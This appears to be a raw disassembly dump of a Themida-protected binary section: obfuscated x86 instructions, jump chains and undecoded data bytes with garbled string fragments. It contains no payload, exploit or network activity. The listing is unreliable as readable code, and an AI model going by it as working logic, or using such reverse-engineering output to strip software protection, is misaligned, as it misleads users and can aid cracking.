jmp loc_555EB1 ; --------------------------------------------------------------------------- loc_5598C3: ; CODE XREF: Themida_:0055A5DBj shr eax, 0Eh xor eax, ecx xor eax, edi xor edi, eax xor eax, edi xor edi, ecx xor ecx, edi xor edi, ecx push ecx not dword ptr [esp] pop ecx push 12A0h mov [esp], edi push ecx mov edi, [esp] add esp, 4 pop ecx jmp loc_5609D4 ; --------------------------------------------------------------------------- loc_5598EE: ; CODE XREF: Themida_:00565A83j mov esi, 1 jmp loc_562639 ; --------------------------------------------------------------------------- loc_5598F8: ; CODE XREF: Themida_:00552DE2j add esi, 4 push 2DEAh mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp pop dword ptr [esp] jmp loc_555305 ; --------------------------------------------------------------------------- loc_559917: ; CODE XREF: Themida_:00553917j mov ebp, ecx jmp loc_565C10 ; --------------------------------------------------------------------------- dw 53BAh dd 1D51F17h, 0C28158C2h, 0B7C6DF81h, 4237C681h, 0C6817311h dd 690D4592h, 3A41C681h, 0D60157E8h, 3A41EE81h, 0EE8157E8h dd 690D4592h, 7861BF57h, 0EF814BEAh, 0D8D9362Ah, 5A5FFE29h dd 718B68h, 240C8900h, 0FFF7EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_559969: ; CODE XREF: Themida_:0056242Dj sub edi, ecx pop ecx push ebp jmp loc_5596CF ; --------------------------------------------------------------------------- aMrOaDS@ db 'MR╨OA=d',9,'уИ@}',0 align 10h dd 6804C483h, 532Ch, 68242C89h, 1FFh, 68243C89h, 7A6979EFh dd 81D7F75Fh, 9399B9C7h, 2C8B57F9h, 4C48124h, 8B000000h dd 0C481243Ch, 4, 0FFF92CE9h, 575D54FFh, 4BFh, 5FFD0100h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_565438 ; --------------------------------------------------------------------------- dd 0BBEA80h, 3E95AD3h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5599D7: ; CODE XREF: Themida_:00560947j mov [esp], ebx pop edx jmp loc_55EAB2 ; --------------------------------------------------------------------------- dd 241CF753h, 0AFF3815Bh, 8186F8B7h, 0A955E9E9h, 81D9297Eh dd 0A955E9C1h, 0E1815B7Eh, 456F00B5h, 0FFF0C181h, 52E9BBB8h dd 8B00009Dh, 1AE9240Ch, 81000077h, 42404h, 555E0000h dd 4BDh, 0EEE8100h, 0E94E3805h, 0FFFFE204h, 0E924048Bh dd 0FFFFE414h, 1FCFE581h, 0E5C1512Bh, 0C2E58105h, 563F4F25h dd 0A25972BEh, 0A1E9570Fh db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559A4F: ; CODE XREF: Themida_:00565B5Ej mov eax, 4E62091Ch inc eax xor eax, 49CF4063h shr eax, 6 and eax, 17DC439Ch sub eax, 2036018Ch jmp loc_55FE86 ; --------------------------------------------------------------------------- loc_559A6C: ; CODE XREF: Themida_:00563D03j xor ch, 6Ch mov dl, ch pop ecx sub esp, 4 mov [esp], ebx jmp loc_564147 ; --------------------------------------------------------------------------- dd 4BAh, 5AD10100h, 0A511E950h, 0FA880000h, 0D0F7E95Bh dd 0F3810000h, 229810D4h, 815BDE01h, 4EEh, 24348700h, 242C895Ch dd 4BE56h, 0F5890000h, 0BAC3815Eh, 1489D01h, 0CDC0E9EBh dd 152DFFFFh, 2D54BA1Dh, 0A9A4DF77h, 69A36855h, 2C8B07A7h dd 4C48324h, 0FFFFBF57h, 0FD01FFFFh, 4EDC15Fh, 5471ED81h dd 0E94D2F8Fh, 0FFFFCA92h, 52E38953h, 2C394BBAh, 0F9B8506Bh dd 0F749893Dh, 1C8D25D0h, 0C9E95C6Dh db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559B0B: ; CODE XREF: Themida_:00564142j mov ebx, [esp] add esp, 4 sub esi, ebx add esi, 0F96187Dh jmp loc_565D28 ; --------------------------------------------------------------------------- dw 3D2Dh dd 5F24B717h, 0EC81D801h, 4, 0BD242C89h, 653505B4h, 9AE9E829h dd 0C0FFFF9Ch, 0B45002EFh, 80C4FEB2h, 0E4C098E4h, 96CC8008h dd 190BE9h, 4C48100h, 83000000h, 2C8904ECh, 9691E924h dd 8359FFFFh, 348704C4h, 4AE95C24h, 81FFFFCFh, 315E96F1h dd 0AF73E954h, 0D830FFFFh off_559B7C dd offset loc_41C868 ; DATA XREF: Themida_:0053FC64o dd 241C8900h, 346FE9h, 24348900h, 5896BD55h, 0C5814488h dd 0C990695h, 4E5C14Dh, 3F85ED81h, 70E92B4Bh, 8B000056h dd 0E5E92414h, 680000ACh, 4FD4h, 7EAFE9h db 0 ; --------------------------------------------------------------------------- loc_559BB9: ; CODE XREF: Themida_:00556BE0j mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor esi, 6BD014D1h and esi, 28C47FABh xor esi, 0D0278841h mov edi, esi pop esi add edi, ecx pop ecx sub eax, 7B770BCAh add eax, edi jmp loc_5549C4 ; --------------------------------------------------------------------------- db 81h dd 0C51934C7h, 24616816h, 0C890000h, 4FE2B924h, 0CF295C1Dh dd 83240C8Bh, 0BE5604C4h, 17BE63B1h, 13E9F701h, 0BFFFFF79h dd 11A9239Bh, 0FFBC28E9h, 69A5BAFFh, 0C2810049h, 16A84B48h dd 33BBCA81h, 0F2814CADh, 384B4DDBh, 3822C281h, 0D501BBA8h dd 9C84E95Ah, 3DBD0000h, 0C140E263h, 0ED8103E5h, 0C56F13A1h dd 89D5E9h, 24248900h, 4B951h, 4C010000h, 0E9590424h, 0CB91h dd 0F7006EB6h, 0EF805A66h, 80EF2888h, 0EF8088C7h, 0BF5BE96Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559C86: ; CODE XREF: Themida_:00554D98j add eax, 4 push esi mov esi, 1967267Bh or esi, 26E131ACh add esi, 1B951596h dec esi or esi, 342C50B6h jmp loc_55FC37 ; --------------------------------------------------------------------------- db 81h, 44h, 24h dd 3B51C104h, 24440119h, 98E95204h, 31000071h, 0C33240Ch dd 240C3124h, 0D2F7D187h, 0C87D187h, 24048B24h, 4C481h dd 85E90000h, 5C000010h, 68243C89h, 1C687E77h, 0E9243C8Bh dd 0FFFFFAC6h, 7CE0C681h, 0EE835FBEh, 1E06E901h, 5F540000h dd 4C781h, 0CDE90000h, 5A0000ABh, 0EA314D5Dh, 0FF7CA1E9h dd 8B665CFFh, 89532404h, 4C381E3h, 81000000h, 4EBh, 241C8700h dd 88DDE95Ch, 335E0000h, 0C31240Ch, 240C3324h, 0BB0F665Ch dd 0E99C2404h, 1826h ; --------------------------------------------------------------------------- loc_559D44: ; CODE XREF: Themida_:00566672j pop edx add esi, 4 xchg esi, [esp] mov esp, [esp] push 357Ah jmp loc_55F2C7 ; --------------------------------------------------------------------------- db 54h dd 8B54555Fh, 0C9E9242Ch db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559D67: ; CODE XREF: Themida_:00560612j sub dword ptr [esp], 26694A52h mov ecx, [esp] add esp, 4 push eax mov eax, 13C447EAh add eax, 26347A5Bh xor eax, 4B181685h xor eax, 11960CA5h jmp loc_55A864 ; --------------------------------------------------------------------------- dw 0EA81h dd 0DAF8E572h, 15AD529h, 0B9515DEAh, 4, 0CFF2E9h, 53E18900h dd 2B043BBBh, 15E94B66h, 51000024h, 0F82B3BB9h, 59C80139h dd 3B2DE801h, 5D39F82Bh, 0FBE95350h, 81000030h, 0A5035EEBh dd 81EB2951h, 0A5035EC3h, 2434FF51h db 5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55B9C2 ; --------------------------------------------------------------------------- dw 1C33h dd 24248B24h, 0E9028864h, 0FFFFAC64h, 4E68555Ah, 89000008h dd 0D9E9243Ch, 1000082h, 0FF515AD1h, 8B042474h, 1CE9240Ch db 0C6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559E1F: ; CODE XREF: Themida_:0055EEC5j mov esi, 2EA65411h add ecx, esi pop esi push edx jmp loc_5591A5 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 43h dd 5405F381h, 34E963C5h db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559E3B: ; CODE XREF: Themida_:00560F27j xor esi, eax pop eax mov ebp, esi pop esi push dword ptr [esp] pop ecx add esp, 4 jmp loc_55AEDB ; --------------------------------------------------------------------------- loc_559E4D: ; CODE XREF: Themida_:0055FEB1j add esp, 4 add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] sub edi, 5CE2118Bh jmp loc_565427 ; --------------------------------------------------------------------------- dw 0EF81h dd 4, 5C243C87h, 57241C89h, 83241C8Bh, 0B8E904C4h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559E8F: ; CODE XREF: Themida_:00555092j xchg eax, ecx shl ecx, 1 xor ecx, 4779FCDBh mov esi, ecx mov ecx, [esp] add esp, 4 push esi xchg esi, [esp] jmp loc_558400 ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 81h dd 5634F2E6h, 87DEF74Eh, 87D5F7EEh, 5F681EEh, 5312DE3Eh dd 0DC5FFCBBh, 0CF99E949h, 0E956FFFFh, 3439h, 0FF7616E9h db 0FFh ; --------------------------------------------------------------------------- loc_559ED5: ; CODE XREF: Themida_:00553EF1j push ecx mov ecx, esp push esi mov esi, 55048E0h sub esi, 76AB390Dh sub esi, 8EA50FCFh add ecx, esi mov esi, [esp] jmp loc_555223 ; --------------------------------------------------------------------------- aCaTUAussI db '╤Г─нБюН',7,'─НАИ ╗',0 align 4 dd 6BA8EB81h, 0C3017035h, 32CEE9h, 0BD555000h, 2A93018h dd 86F7C8B8h, 0E9E8012Ch, 0FFFFACCDh, 0E9241C87h, 32D3h dd 4C481h, 46E90000h db 0A5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559F37: ; CODE XREF: Themida_:00558466j pop esp jmp loc_551923 ; --------------------------------------------------------------------------- loc_559F3D: ; CODE XREF: Themida_:0055D195j mov ecx, 326C1703h jmp loc_558108 ; --------------------------------------------------------------------------- loc_559F47: ; CODE XREF: Themida_:00557734j push eax mov eax, 1F687710h xor eax, 40F51F51h mov ebx, eax pop eax jmp loc_553E44 ; --------------------------------------------------------------------------- loc_559F5A: ; CODE XREF: Themida_:00557E97j pop esp mov [esp], edx push ebx jmp loc_552C54 ; --------------------------------------------------------------------------- loc_559F64: ; CODE XREF: Themida_:0056295Ej pop ebp or eax, eax jnz loc_5588E7 push esi mov esi, 452124B8h push eax push ebp mov ebp, 72B9600Fh mov eax, 72B9600Eh xor eax, ebp pop ebp jmp loc_5619CC ; --------------------------------------------------------------------------- db 59h dd 0FF7D8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_559F8D: ; CODE XREF: Themida_:0055D80Aj pop esi sub esp, 4 mov [esp], esi push esp jmp loc_555244 ; --------------------------------------------------------------------------- db 81h, 0C1h, 53h dd 29033B66h, 53E981F9h, 5F033B66h, 0F43DB1BAh, 59CA3152h dd 0C105E2C1h, 0E2C106E2h, 14F75204h, 2C685A24h, 8900007Eh dd 44BE2434h, 4E26863Bh, 0E9D6F746h, 0FFFFE50Eh, 4055859h dd 2D000000h, 4, 5C240487h, 0FF9A60E9h, 8EEC1FFh, 2238F681h dd 0F7564918h, 815E2414h, 4ECh, 24148900h, 0B79F63BAh dd 0E9D631D7h, 0FFFFFB97h ; --------------------------------------------------------------------------- loc_55A010: ; CODE XREF: Themida_:0055EDCCj mov edx, 6700542Ch inc edx push eax mov eax, 1B58102Eh shl eax, 3 shl eax, 1 jmp loc_558330 ; --------------------------------------------------------------------------- loc_55A026: ; CODE XREF: Themida_:0055C2AEj mov eax, 642027C3h sub eax, 2239377Fh jmp loc_55F2EE ; --------------------------------------------------------------------------- db 0C1h, 0EDh, 5 dd 0D8C5814Dh, 291A178Fh, 0D9E95DEBh, 6600004Ch, 2859B753h dd 7562E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A052: ; CODE XREF: Themida_:00553A35j pop ebp push esi mov esi, 9ED2DF1h sub edx, 7C00AFDh sub edx, esi add edx, 7C00AFDh mov esi, [esp] add esp, 4 push edx add dword ptr [esp], 4BD67A4Eh pop dword ptr [edi+20h] sub dword ptr [edi+20h], 4BD67A4Eh pop edx sub [edi+20h], edx push dword ptr [esp] mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_56443C ; --------------------------------------------------------------------------- loc_55A09D: ; CODE XREF: Themida_:0055BD53j pop ebx pop edi push 0A15h mov [esp], esi mov esi, 4 sub eax, esi mov esi, [esp] add esp, 4 xchg eax, [esp] pop esp mov [esp], edi push esi mov esi, 800h mov edi, esi pop esi and eax, edi mov edi, [esp] add esp, 4 shr eax, 0Bh xor ecx, eax push 3FE0h mov [esp], ebx push 4A67h jmp loc_55B108 ; --------------------------------------------------------------------------- word_55A0E6 dw 0C8Bh ; DATA XREF: Themida_:00551424o aHU db '$h╤u',0 align 2 dw 489h dd 4EC8324h, 81242489h, 42404h, 0ACE90000h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A103: ; CODE XREF: Themida_:0056659Aj mov [esp], esi push 1DA02809h pop esi add dword ptr [esp+4], 7DA4214Fh sub dword ptr [esp+4], 26AD286Eh add [esp+4], esi add dword ptr [esp+4], 26AD286Eh sub dword ptr [esp+4], 7DA4214Fh pop esi mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 1DA02809h push ebx mov ebx, 3ACF1BCFh sub eax, ebx jmp loc_562344 ; --------------------------------------------------------------------------- aI4H db '┴4$hс=',0 align 2 dw 1C89h dd 0CABF5724h, 29165643h, 0E904247Ch, 0B497h, 0E9241489h dd 224h, 0E904C483h, 6987h, 0E904C683h, 0FFFFC062h ; --------------------------------------------------------------------------- loc_55A184: ; CODE XREF: Themida_:00553233j sub esp, 4 mov [esp], ecx jmp loc_55636C ; --------------------------------------------------------------------------- loc_55A18F: ; CODE XREF: Themida_:00554251j sub edx, 759F6CEDh pop eax push ebp jmp loc_559593 ; --------------------------------------------------------------------------- aSRi@ST db 'S╩ЮI@ И,▓',0 db 0 ; --------------------------------------------------------------------------- loc_55A1A7: ; CODE XREF: Themida_:005652E6j mov ebp, 48535DF7h add [esp+4], ebp pop ebp jmp loc_55B9D3 ; --------------------------------------------------------------------------- loc_55A1B6: ; CODE XREF: Themida_:00564181j xor eax, [esp] pop esp jmp loc_558F37 ; --------------------------------------------------------------------------- byte_55A1BF db 81h ; DATA XREF: Themida_:0055141Co dd 4ECh, 242C8900h, 0BB2F5B68h, 0F57CE968h, 19B4FFFFh dd 0FFEABFE9h, 6AFB68FFh, 2C890000h, 0E9E58924h, 8F5Fh ; --------------------------------------------------------------------------- loc_55A1E8: ; CODE XREF: Themida_:00555F1Dj mov [esp], edi jmp loc_553F7E ; --------------------------------------------------------------------------- dd 0DBFBE950h, 0D8F7FFFFh, 30DAE9h db 0 ; --------------------------------------------------------------------------- loc_55A1FD: ; CODE XREF: Themida_:00556292j or edx, 0E0A1DA3h jmp loc_556D1A ; --------------------------------------------------------------------------- dd 888DEA80h, 0E2FCE9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A212: ; CODE XREF: Themida_:00558EF2j sub esi, 3F5B5090h push edi mov edi, 244F28BCh and edi, 8BB53C2h add edi, 0FBA030Fh push eax jmp loc_557A94 ; --------------------------------------------------------------------------- loc_55A230: ; CODE XREF: Themida_:00554643j mov eax, 3B7B4729h add edi, eax mov eax, [esp] add esp, 4 jmp loc_55EE5A ; --------------------------------------------------------------------------- db 1, 0D5h, 8Bh dd 0C4812414h, 4, 97E9CD29h, 83000091h, 248904ECh, 4BB5324h dd 81000000h, 0C604246Ch, 0E92D9540h, 0FFFF93F1h, 46851h dd 1590000h, 0AEB4E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A27E: ; CODE XREF: Themida_:005607B5j push esi mov esi, 4C305A66h push esi jmp loc_566C5B ; --------------------------------------------------------------------------- dw 815Ch dd 4C2h, 4C28300h, 4EC81h, 0CDE90000h, 89FFFFFEh, 0E951243Ch dd 2C0Ch, 18ECC681h, 0C6814DF0h, 72C5725Ah, 0B850515Ah dd 0D932779h, 765BCCB9h, 58C12932h, 2404FF51h, 0DFB9E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A2CE: ; CODE XREF: Themida_:0055C452j mov edx, 12560026h shl edx, 2 jmp loc_55B9D8 ; --------------------------------------------------------------------------- db 0FFh dd 57582434h, 0C781E789h, 4, 4C781h, 3C870000h, 0C335C24h dd 240C3124h, 8B240C33h, 0F1F62424h, 0FFD896E9h, 0BA5259FFh dd 7EF77324h, 758CCA81h, 0BF57134Bh, 173E5302h, 3F53E94Fh dd 81590000h, 0A48CEC5h, 8BEA0103h, 0C483242Ch, 4EC8304h dd 9317E9h, 0B3BA5200h, 0E9523513h, 9A59h, 4C481h, 69680000h dd 89000030h, 0A4BB241Ch, 0E93A0A6Fh, 24B2h, 7BA3F581h dd 0D0E90B0Ah db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A363: ; CODE XREF: Themida_:005538FBj push edi push esi jmp loc_55F958 ; --------------------------------------------------------------------------- loc_55A36A: ; CODE XREF: Themida_:00557544j sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 533C5ACCh and ebp, 49FF346Ah add ebp, 32313E2Dh push edi mov edi, 0B872D2Fh jmp loc_5669E5 ; --------------------------------------------------------------------------- dd 42474FFh, 8BB9E95Ah, 0C181FFFFh, 4, 0FFBF2AE9h, 10E768FFh dd 56E9108Dh db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A3B7: ; CODE XREF: Themida_:00555CCBj mov esp, [esp] push ebx push esp jmp loc_55E635 ; --------------------------------------------------------------------------- db 81h, 0E9h, 0FBh dd 8153032Fh, 549F4C9h, 2E1C102h, 0FF9620E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A3D5: ; CODE XREF: Themida_:0055C17Ej push eax jmp loc_551D4D ; --------------------------------------------------------------------------- db 0C1h dd 0EE8102EEh, 62233B1Ch, 0C681DEF7h, 116599E1h, 99E9F201h dd 81FFFFCCh, 4C4h, 5FFE3100h, 7706EF81h, 0C781134Ch, 57317560h dd 0B850F701h, 60FA6783h, 0DF52EB35h, 316F0D70h, 0E0C13E5Ch dd 0E9D0F704h, 0FFFF95B9h, 558EE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A42A: ; CODE XREF: Themida_:0055D67Dj pop ecx sub esp, 4 mov [esp], edx jmp loc_5565FD ; --------------------------------------------------------------------------- db 5Dh, 81h, 0E5h dd 11E30CA3h, 7AF0E9h db 0 ; --------------------------------------------------------------------------- loc_55A445: ; CODE XREF: Themida_:00563B65j pop edi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55DEE6 ; --------------------------------------------------------------------------- loc_55A45D: ; CODE XREF: Themida_:00556864j push eax jmp loc_565F33 ; --------------------------------------------------------------------------- db 58h dd 405h, 4BB5300h, 1000000h, 0FF505BD8h, 8B042474h, 96E92404h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A47F: ; CODE XREF: Themida_:00559313j pop edx inc ecx sub ecx, 0C7950F05h xor edi, ecx pop ecx jmp loc_560BD0 ; --------------------------------------------------------------------------- db 0B8h dd 51E65908h, 0FFA05FE9h, 4EDC1FFh, 2F3DC581h, 0ED812662h dd 2083D4EFh, 685DE889h, 67FCh, 5A0DE9h, 0E9CD3100h, 7BE6h dd 0E3C0CBFEh, 77F38007h, 7D41E9h db 0 ; --------------------------------------------------------------------------- loc_55A4C9: ; CODE XREF: Themida_:005571EEj mov [esp], eax push esp pop eax push 7133h mov [esp], ebp push edx mov edx, 5CF675E2h add edx, 5C910F99h jmp loc_55C605 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 243C3300h, 33243C31h, 0E95C243Ch, 0FFFF6FEFh dd 809ECF80h, 482C73EFh, 0F8281E04h, 0B1E91E2Ch db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A50F: ; CODE XREF: Themida_:0055C694j add dh, ch jmp loc_557152 ; --------------------------------------------------------------------------- dw 6C81h dd 27B30424h, 295A2E62h, 2C812414h, 906A4724h, 0EAC15A7Bh dd 86F28107h, 8154B447h, 0B62A21EEh, 0E9D6294Fh, 862h dd 54241489h, 81E9555Ah, 81FFFF90h, 92EE19F7h, 5FFA01FDh dd 5C241487h, 84E9D829h, 0FFFFFF86h, 48B2434h, 4C48124h dd 83000000h, 836804C4h, 0E9000006h, 6783h, 0DE9DD01h dd 52000068h, 9C513A68h, 24148B4Ch, 5104C483h, 9C5136B9h dd 59CA294Ch, 0FFDB16E9h, 240431FFh, 8B240433h, 0E1F62424h dd 0A6E5E9h, 241C3300h, 0E924248Bh, 0C428h dword_55A5B4 dd 240C8B66h, 0FF8B34E9h ; DATA XREF: Themida_:00551488o db 0FFh ; --------------------------------------------------------------------------- loc_55A5BD: ; CODE XREF: Themida_:005596E7j xchg esi, [esp] pop esp jmp loc_55D487 ; --------------------------------------------------------------------------- loc_55A5C6: ; CODE XREF: Themida_:005615D4j add edx, 4 jmp loc_55AFAE ; --------------------------------------------------------------------------- loc_55A5D1: ; CODE XREF: Themida_:00560C28j inc edi xor edi, 0B2672C8h and eax, edi pop edi jmp loc_5598C3 ; --------------------------------------------------------------------------- dd 2C59C800h, 2CF5044Bh, 4E8000Eh, 0F5B1510Eh, 0C828E62Ch dd 459E604h, 8BCE2C4Bh, 0C481240Ch, 4, 2EC815Bh, 66000000h dd 81241C89h, 2ECh, 4896600h, 4EC8324h, 0B7241C89h, 1B353A5h dd 9F268h, 240C8900h, 0C1804AB1h, 59CB281Eh, 0FEF7C380h dd 1BF380C3h, 0E983B252h, 0FFFFD7F1h, 104C483h, 240C8BCDh dd 0B7D8E9h db 0 ; --------------------------------------------------------------------------- loc_55A651: ; CODE XREF: Themida_:0055A85Fj add ebx, 7BE14586h pop edx mov eax, [ebx] mov ebx, [esp] jmp loc_56681A ; --------------------------------------------------------------------------- dw 0C8Bh aSm db '$И╛╣',0 align 2 loc_55A66A: ; CODE XREF: Themida_:0055CFE6j mov ebp, esi pop esi add ebp, 0DF2E29FCh xor eax, ebp jmp loc_5652BE ; --------------------------------------------------------------------------- dw 468h dd 0E9000000h, 0FFFFDED7h, 168468h, 24148900h, 5A2414F7h dd 6F6EF281h, 68503A39h, 59DCh, 0BE243489h, 69984270h dd 467CF681h, 0C681199Ah, 7A2C0E2Eh, 8108EEC1h, 7FEE3CEEh dd 5EF089A0h, 54E9D0F7h db 12h, 2 dup(0) byte_55A6C3 db 0FFh ; DATA XREF: Themida_:005512A8o dd 20E94077h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A6CB: ; CODE XREF: Themida_:00564A2Dj sub edi, 12683B4Eh xor edi, 49032D43h push 0E24h jmp loc_556E06 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 8704C483h, 895C2434h, 0FF542434h, 39E92434h, 87000099h dd 815C243Ch, 4ECh, 241C8900h, 0FFCA10E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A709: ; CODE XREF: Themida_:005667FCj xor ecx, 5FBF7BEBh push edi jmp loc_5540C4 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 358BE9h, 24148B00h, 4C481h, 0A3680000h, 8900001Bh, 52532404h dd 0F7889BB6h, 0FFE787E9h db 0FFh byte_55A739 db 8Fh, 47h, 40h ; DATA XREF: Themida_:005513D0o dd 0FF6DAAE9h, 4C481FFh, 81000000h, 0EF306BE9h, 68F90163h dd 5502h, 57243489h, 1002BBFh, 0E3BD556Fh, 811DD451h, 51D5A9EDh dd 5DEF31F5h, 2737CF81h, 0E7D1040Fh, 3A7EC781h, 0B95154F7h dd 87F90887h, 8959CF31h, 0C1815FFEh, 40433368h, 0BA52F101h dd 40433368h, 0FF5AD129h, 815E2434h, 4C4h, 1E67E900h db 2 dup(0) word_55A7A6 dw 8B66h ; DATA XREF: Themida_:005513A0o dd 54512404h, 68E95059h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A7B3: ; CODE XREF: Themida_:00556C53j sub ebp, 548F2D8Bh and ebp, 1D6D1F7Ah xor ebp, 11650E4Ch add eax, ebp jmp loc_551E92 ; --------------------------------------------------------------------------- dd 48B3888h, 4C48324h, 0E4B6E95Bh, 0C581FFFFh, 4, 4C581h dd 2C870000h, 7495E924h, 0F801FFFFh, 400D2D5Fh, 0C5014483h dd 4ED8358h, 3F8868h, 0C24FE900h, 489FFFFh, 8151E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A80E: ; CODE XREF: Themida_:0056478Dj push edx mov edx, 8783392h xor edx, 1367AD1h xor edx, 2D272EA8h jmp loc_55CC58 ; --------------------------------------------------------------------------- loc_55A825: ; CODE XREF: Themida_:0055B9A7j push eax push esi mov esi, 752720BCh mov eax, 752720B8h jmp loc_552ABF ; --------------------------------------------------------------------------- loc_55A836: ; CODE XREF: Themida_:0055DED6j shl edx, 5 sub edx, 715A66D2h add edx, 0FFFFFFFFh add edx, 4C4A4083h sub ebx, 7BE14586h add ebx, 78101F94h add ebx, edx sub ebx, 78101F94h jmp loc_55A651 ; --------------------------------------------------------------------------- loc_55A864: ; CODE XREF: Themida_:00559D89j push 7D23h mov [esp], ebx push esi push 6C312541h push dword ptr [esp] pop esi add esp, 4 jmp loc_55B59B ; --------------------------------------------------------------------------- db 5Eh, 83h, 0ECh dd 242C8904h, 2BDh, 30C28100h, 51333D18h, 7563B9h, 59CA2968h dd 3D44C281h, 0EA0134E6h, 3D44EA81h, 0C28134E6h, 68007563h dd 1830EA81h, 2C8B333Dh, 4C48124h, 0E9000000h, 41CDh, 6624248Bh dd 9C240429h, 0FF6C1AE9h, 241C89FFh, 42474FFh, 24048F5Bh dd 2434FF5Ch, 68240C8Bh, 63D3h, 54240489h, 4EC8158h, 89000000h dd 0B3BA2414h, 8109F52Ch, 0F52CAFEAh, 5AD00109h, 4BB53h dd 0D8010000h, 57241C8Bh, 0C781E789h, 4, 4C781h, 3C870000h dd 120EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A926: ; CODE XREF: Themida_:00560978j pop ebp dec ebx not ebx sub ebx, 0ACF1093Dh sub eax, ebx mov ebx, [esp] add esp, 4 jmp loc_5658F9 ; --------------------------------------------------------------------------- loc_55A93D: ; CODE XREF: Themida_:00564753j mov eax, 87D1BCDh add esi, eax pop eax mov ebx, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] mov eax, 158E570Eh sub eax, 0FFFFFFFFh jmp loc_551671 ; --------------------------------------------------------------------------- dw 0F801h dd 2404335Fh, 33240431h, 248B2404h, 68E1F724h, 58B1h, 89242C89h dd 73B468E5h, 34890000h, 4BE24h, 0F5010000h, 8324348Bh dd 895104C4h, 4EC81E1h, 89000000h, 4BA2414h, 1000000h dd 2434FFD1h, 4C4835Ah, 4E981h, 0C870000h, 47E95C24h, 6800002Dh dd 7A90h, 0BE243489h, 23E54A99h, 47A8C681h, 0C6810B3Fh dd 0F50FD987h, 815EF589h, 553BCCC6h, 81EE014Ah, 553BCCEEh dd 242C8B4Ah, 0E904C483h, 8BE6h ; --------------------------------------------------------------------------- loc_55A9EC: ; CODE XREF: Themida_:005642EFj sub ebp, ecx add ebp, 22D0148Ah jmp loc_5649DA ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 0E9000000h, 71C2h, 8BF9295Eh, 0C481243Ch, 4, 89E9CA01h dd 5000068h, 0FFFFFFFFh, 932E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AA22: ; CODE XREF: Themida_:00556FC4j push ebx mov ebx, 264C5BE2h neg ebx dec ebx add ebx, 56D86E57h sub ebx, 1 xor ebx, 308C1277h add edx, 14B357A1h add edx, ebx push ebp jmp loc_5642D6 ; --------------------------------------------------------------------------- loc_55AA4B: ; CODE XREF: Themida_:005631B4j mov [esp], ebx push eax jmp loc_562C56 ; --------------------------------------------------------------------------- loc_55AA54: ; CODE XREF: Themida_:0055888Dj push 2353h mov [esp], eax push 2C497BEBh pop eax push 402Ch mov [esp], edx mov edx, 84703A7h shl edx, 5 and edx, 44B56612h shr edx, 7 jmp loc_563D58 ; --------------------------------------------------------------------------- dd 4246C81h, 7EF572EAh, 50243C8Bh, 4055854h, 0E9000000h dd 33C9h, 6A4DE95Ch, 0EC81FFFFh, 4, 0BD242C89h, 3A7A5C94h dd 0AA03E9h, 5E08900h, 4, 4EC81h, 3C890000h, 68515624h dd 4C4234A9h, 81D9F759h, 0C52AA9E9h, 274EE950h, 42D0000h dd 50000000h, 9EE3E9h db 0 ; --------------------------------------------------------------------------- loc_55AAE1: ; CODE XREF: Themida_:00557742j pop esi mov edx, esi pop esi pop eax push dword ptr [esp] pop ebp push ebx mov ebx, esp push ecx mov ecx, 77265662h xor ecx, 77265666h add ebx, ecx pop ecx add ebx, 4 xor ebx, [esp] jmp loc_562E42 ; --------------------------------------------------------------------------- dw 0C483h dd 53D5F704h, 6E7B02BBh, 6E3C141h, 1F6FBA52h, 56422D69h dd 0A704C6BEh, 5EF20970h, 2DC7E957h, 0BE560000h, 4, 0EDE9F501h dd 5A000050h, 815EF301h, 4C3h, 241C8700h, 228E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AB4E: ; CODE XREF: Themida_:00556384j mov edx, edi jmp loc_55750C ; --------------------------------------------------------------------------- loc_55AB55: ; CODE XREF: Themida_:0055C3BEj push 